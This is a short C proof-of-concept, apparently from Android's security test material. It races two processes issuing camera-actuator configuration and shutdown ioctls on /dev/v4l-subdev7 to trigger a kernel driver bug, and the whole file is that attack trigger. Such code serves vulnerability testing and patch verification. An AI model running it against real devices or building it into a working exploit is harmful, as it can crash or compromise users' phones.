1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #include <unistd.h> 17 #include <sys/syscall.h> 18 #include <string.h> 19 #include <stdint.h> 20 #include <pthread.h> 21 #include <stdio.h> 22 #include <sys/types.h> 23 #include <sys/stat.h> 24 #include <fcntl.h> 25 #include <signal.h> 26 27 #define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6 28 #define MSM_SD_SHUTDOWN 0xc00856dd 29 30 int fd; 31 32 33 int main() { 34 long i; 35 int pid; 36 pthread_t th[6]; 37 int argn[50] = {0}; 38 39 fd = open("/dev/v4l-subdev7", 0x0ul ); 40 41 42 argn[0] = 7; 43 syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0); 44 45 pid = fork(); 46 if(!pid){ 47 argn[0] = 1; 48 while(1){ 49 usleep(10); 50 syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0); 51 } 52 } 53 i = 0; 54 while(1){ 55 i++; 56 argn[0] = 7; 57 syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0); 58 59 usleep(100); 60 61 argn[0] = 0; 62 syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0); 63 64 } 65 66 close(fd); 67 68 return 0; 69 } 70
